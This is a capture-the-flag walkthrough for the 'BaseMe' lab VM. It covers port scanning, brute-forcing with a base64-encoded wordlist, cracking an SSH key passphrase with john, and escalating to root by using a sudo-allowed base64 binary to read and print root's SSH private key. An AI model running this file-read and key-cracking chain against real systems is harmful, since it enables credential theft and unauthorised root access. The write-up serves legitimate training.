This is a Linux machine with SSH and Web services enabled, we notice strong hints on the homepage that we need to perform base64 encoding. After base64-encoding the wordlist used for web enumeration, we obtain an encrypted SSH private key. Using john the Ripper along with the password hint on the homepage(requiring base64 encoding), we quickly obtain the decryption key and gain a foothold on the system.

Then we discover that the initial user-configured sudo rules allow us to exploit the base64 utility to read arbitrary files, thereby obtaining the root user's SSH private key and gaining full system privileges.

Summary

Scope

  • Name: BaseMe
  • Difficulty: Easy
  • OS: Linux
  • IP: Local VM

Learned

  • We could try encode or even encrypt the wordlist when we get nothing from web enumeration.

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Wed Mar  4 15:00:08 2026 as: nmap -sT --min-rate 3000 -oN overall 192.168.1.17
Nmap scan report for baseme (192.168.1.17)
Host is up (0.00033s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http
MAC Address: 08:00:27:E5:28:32 (Oracle VirtualBox virtual NIC)

# Nmap done at Wed Mar  4 15:00:08 2026 -- 1 IP address (1 host up) scanned in 0.08 seconds

Detail

# Nmap 7.98 scan initiated Wed Mar  4 15:00:35 2026 as: nmap -sC -sV -O -vv -p22,53,80 -oN detail 192.168.1.17
Nmap scan report for baseme (192.168.1.17)
Host is up, received arp-response (0.00040s latency).
Scanned at 2026-03-04 15:00:35 CST for 8s

PORT   STATE  SERVICE REASON         VERSION
22/tcp open   ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 ca:09:80:f7:3a:da:5a:b6:19:d9:5c:41:47:43:d4:10 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qOK8FpS9Ve5n4Vc/JGRcLj5IpfEXKn2963jzjDUlYqbdLuoIAecfd53jrSp/1FX2CjMVeQaFtFygaBzFlcL94oZg1jP60UI28mPhB+BOD7UfWSRbQbs2jIYOV5La4/jIpc8Htyn0aGWBWL6ZrVooBmYR0yEmJRyUtnH9sQDtY5k0zIqXIO63P1DnukqTJbzXBd5s6JMa7VKx4gs1XF7xASb6ILNT/T5U45K9e0si1fMCzwC0KXsuIBOnbBtzOUYSxlI6+PKPz/fgrmpO86htnc8A/af3mo9Pq6Jytrn+XjSX7hFA9UOhy8in9fUx7ZWyB5rffW0p6Vjpbxc1+bcT
|   256 d0:75:48:48:b8:26:59:37:64:3b:25:7f:20:10:f8:70 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGzI3VdkTGf3FlIf4MVNCFjaO+1FDvyQ5lzs4W0S9pNSqzzph8oBhQaMWbUUv8EpN0EM0p0w8VY4V+MWDCqE9Pc=
|   256 91:14:f7:93:0b:06:25:cb:e0:a5:30:e8:d3:d3:37:2b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKWXudaqjDSze7Ec72JtitmIyqlx9OlPIrVwkVZjDMJ
53/tcp closed domain  reset ttl 64
80/tcp open   http    syn-ack ttl 64 nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:E5:28:32 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/4%OT=22%CT=53%CU=41369%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=69A7D89B%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 27.593 days (since Thu Feb  5 00:46:57 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar  4 15:00:43 2026 -- 1 IP address (1 host up) scanned in 7.79 seconds

UDPScan

# Nmap 7.98 scan initiated Wed Mar  4 15:00:53 2026 as: nmap -sU --top-ports 32 -oN udpscan 192.168.1.17
Nmap scan report for baseme (192.168.1.17)
Host is up (0.00045s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
111/udp   open|filtered rpcbind
123/udp   open|filtered ntp
135/udp   closed        msrpc
136/udp   closed        profile
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   open|filtered microsoft-ds
500/udp   closed        isakmp
514/udp   open|filtered syslog
520/udp   closed        route
631/udp   closed        ipp
996/udp   open|filtered vsinet
997/udp   open|filtered maitrd
998/udp   open|filtered puparp
999/udp   closed        applix
1434/udp  closed        ms-sql-m
1701/udp  closed        L2TP
1812/udp  closed        radius
1900/udp  open|filtered upnp
3283/udp  closed        netassistant
4500/udp  closed        nat-t-ike
5353/udp  open|filtered zeroconf
49152/udp open|filtered unknown
49153/udp closed        unknown
49154/udp open|filtered unknown
MAC Address: 08:00:27:E5:28:32 (Oracle VirtualBox virtual NIC)

# Nmap done at Wed Mar  4 15:01:04 2026 -- 1 IP address (1 host up) scanned in 10.85 seconds

Global Hints (Important!)

I get a strong hints at the homepage of the web service.

QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK

<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->

Decode it will get the hints.

ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

Here provide two critical hints:

  • ALL we need should be base64 encoding.
  • a username lucas.

Web

Despite this hint, I tried the regular wordlist first. But nothing useful it yields. Then I try base64 it and try again, this time I get it.

 for w in $(cat /usr/share/wordlists/dirb/common.txt); echo $w | base64; end > base64_common.txt

Here I use the syntax of fish, which is what I currently use.

❰curtain❙~/workspace/shooting/hmvm/baseme❱✔≻ feroxbuster -u http://192.168.1.17/ -w base64_common.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.17/
 🚩  In-Scope Url          │ 192.168.1.17
 🚀  Threads               │ 50
 📖  Wordlist              │ base64_common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /home/curtain/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       10l        9w      276c http://192.168.1.17/
200      GET       33l       33w     2537c http://192.168.1.17/aWRfcnNhCg==
200      GET        1l        1w       25c http://192.168.1.17/cm9ib3RzLnR4dAo=
[####################] - 1s      4615/4615    0s      found:3       errors:0
[####################] - 0s      4615/4615    23308/s http://192.168.1.17/

I discover that is the private key of ssh and robots file after decode it.

❰curtain❙~/workspace/shooting/hmvm/baseme❱✔≻ echo aWRfcnNhCg== |base64 -d
id_rsa
❰curtain❙~/workspace/shooting/hmvm/baseme❱✔≻ echo cm9ib3RzLnR4dAo= |base64 -d
robots.txt

Foothold

Hash Crack

After save the SSH private key, I immediately use the user lucas (hints provide) to try login the system. And it prompt for the password of that private key.

❰curtain❙~/workspace/shooting/hmvm/baseme❱✔≻ ssh -i id_rsa [email protected]
The authenticity of host '192.168.1.17 (192.168.1.17)' can't be established.
ED25519 key fingerprint is: SHA256:u6ZwJYKTDHiBM0F7VvtWd81F2OSYymF4Hjqu1315ZY8
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.17' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'id_rsa':

I remember that john the Ripper is the good friend for that job.

ssh2john id_rsa > hash.txt

Then crack it with the password provided in comment (require base64 encoding first).

❰curtain❙~/workspace/shooting/hmvm/baseme❱✔≻ john --wordlist=base64_comment_hint.txt hash.txt
ssh-opencl: Cipher value of 6 is not yet supported with OpenCL
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [MD5/bcrypt-pbkdf/[3]DES/AES 32/64])
Cost 1 (KDF/cipher [0:MD5/AES 1:MD5/[3]DES 2:bcrypt-pbkdf/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Warning: Only 6 candidates buffered, minimum 16 needed for performance.
aWxvdmV5b3UK     (id_rsa)
1g 0:00:00:00 DONE (2026-03-04 16:31) 10.00g/s 60.00p/s 60.00c/s 60.00C/s aWxvdmV5b3UK..dGhleWhhdGVzbWUK
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Yeah, I get an initial foothold on the system.

Privilege Escalation

First I gather some fundamental information about the user and system.

lucas@baseme:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
lucas:x:1000:1000:lucas,,,:/home/lucas:/bin/bash
lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on baseme:
    (ALL) NOPASSWD: /usr/bin/base64
lucas@baseme:~$ uname -a
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
lucas@baseme:~$ crontab -l
no crontab for lucas

Now, the /usr/bin/base64 stands out, let's take a closer look at its details.

lucas@baseme:~$ ls -l /usr/bin/base64
-rwxr-xr-x 1 root root 43712 Feb 28  2019 /usr/bin/base64
lucas@baseme:~$ file /usr/bin/base64
/usr/bin/base64: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a500ae914c4cdcd89666be4e3ac7d2162db9cb0, stripped
lucas@baseme:~$ echo hello | sudo /usr/bin/base64
aGVsbG8K

Yeah, it is indeed a base64 program. Since it's a system-provided program, the first thing that come to mind is GTFBins. We can read arbitrary files of the system, here I choose the private key of the root user.

lucas@baseme:~$ sudo /usr/bin/base64 /root/.ssh/id_rsa | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAw6MgMnxUy+W9oem0Uhr2cJiez37qVubRK9D4kdu7H5NQ/Z0FFp2B
IdV3wx9xDWAICJgtYQUvOV7KFNAWvEXTDdhBwdiUcWEJ4AOXK7+5v7x4b8vuG5zK0lTVxp
DEBE8faPj3UaHsa1JUVaDngTIkCa6VBICvG0DCcfL8xHBpCSIfoHfpqmOpWT/pWXvGI3tk
/Ku/STY7Ay8HtSgoqCcf3F+lb9J9kwKhFg9eLO5QDuFujb1CN7gUy8xhgNanUViyCZRwn7
px+DfU+nscSEfG1zgfgqn2hCbBYqaP0jBgWcVL6YoMiwCS3jhmeFG4C/p51j3gI6b8yz9a
S+DtdTpDwQAAA8D82/wZ/Nv8GQAAAAdzc2gtcnNhAAABAQDDoyAyfFTL5b2h6bRSGvZwmJ
7PfupW5tEr0PiR27sfk1D9nQUWnYEh1XfDH3ENYAgImC1hBS85XsoU0Ba8RdMN2EHB2JRx
YQngA5crv7m/vHhvy+4bnMrSVNXGkMQETx9o+PdRoexrUlRVoOeBMiQJrpUEgK8bQMJx8v
zEcGkJIh+gd+mqY6lZP+lZe8Yje2T8q79JNjsDLwe1KCioJx/cX6Vv0n2TAqEWD14s7lAO
4W6NvUI3uBTLzGGA1qdRWLIJlHCfunH4N9T6exxIR8bXOB+CqfaEJsFipo/SMGBZxUvpig
yLAJLeOGZ4UbgL+nnWPeAjpvzLP1pL4O11OkPBAAAAAwEAAQAAAQBIArRoQOGJh9AMWBS6
oBgUC+lw4Ptq710Q7sOAFMxE7BnEsFZeI62TgZqqpNkdHjr2xuT1ME5YpK5niMzFkkIEd5
SEwK6rKRfUcB3lyZWaoMoIBJ1pZoY1c2qYw1KTb3hVUEbgsmRugIhwWGC+anFfavaJCMDr
nCO2g8VMnT/cTyAv/Qmi8m868KNEzcuzGV5ozHl1XLffHM9R/cqPPyAYaQIa9Z+kS6ou9R
iMTjTSxOPnfh286kgx0ry1se9BBlrEc5251R/PRkEKYrMj3AIwI30qvYlAtNfcCFhoJXLq
vWystPARwiUs7WYBUHRf6bPP/pHTTvwwb2bs51ngImpdAAAAgDaWnQ7Lj7Vp+mTjhSu4oG
ptDHNd2uuqB1+CHRcaVutUmknxvxG3p957UbvNp6e0+ePKtAIakrzbpAo6u25poyWugAuz
X2nQhqsQh6yrThDJlTiDMeV7JNGFbGOcanXXXHt3tjfyrS0+aM87WmwqNyh6nfgy1C5axR
fKZG8ivz5iAAAAgQD83QmCIcbZaCOlGwgHGcuCUDcxGY1QlIRnbM5VAjimNezGFs9f0ExD
SiTwFsmITP//njsbRZP2laiKKO6j4yp5LpfgDB5QHs+g4nXvDn6ns64gCKo7tf2bPP8VCe
FWyc2JyqREwE3WmyhkPlyr9xAZerZ+7Fz+NFueRYzDklWg8wAAAIEAxhBeLqbo6/GUKXF5
rFRatLXI43Jrd9pyvLx62KghsnEBEk7my9sbU5dvYBLztS+lfPCRxV2ZzpjYdN4SDJbXIR
txBaLJe3c4uIc9WjyxGwUK9IL65rSrRVERHsTO525ofPWGQEa2A+pRCpz3A4Y41fy8Y9an
2B2NmfTAfEkWFXsAAAALcm9vdEBiYXNlbWU=
-----END OPENSSH PRIVATE KEY-----

Login with that file I become the root!

❰curtain❙~/workspace/shooting/hmvm/baseme❱✔≻ chmod 600 root_id_rsa
❰curtain❙~/workspace/shooting/hmvm/baseme❱✔≻ ssh -i root_id_rsa [email protected]
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 28 12:47:13 2020 from 192.168.1.59
root@baseme:~# id
uid=0(root) gid=0(root) groups=0(root)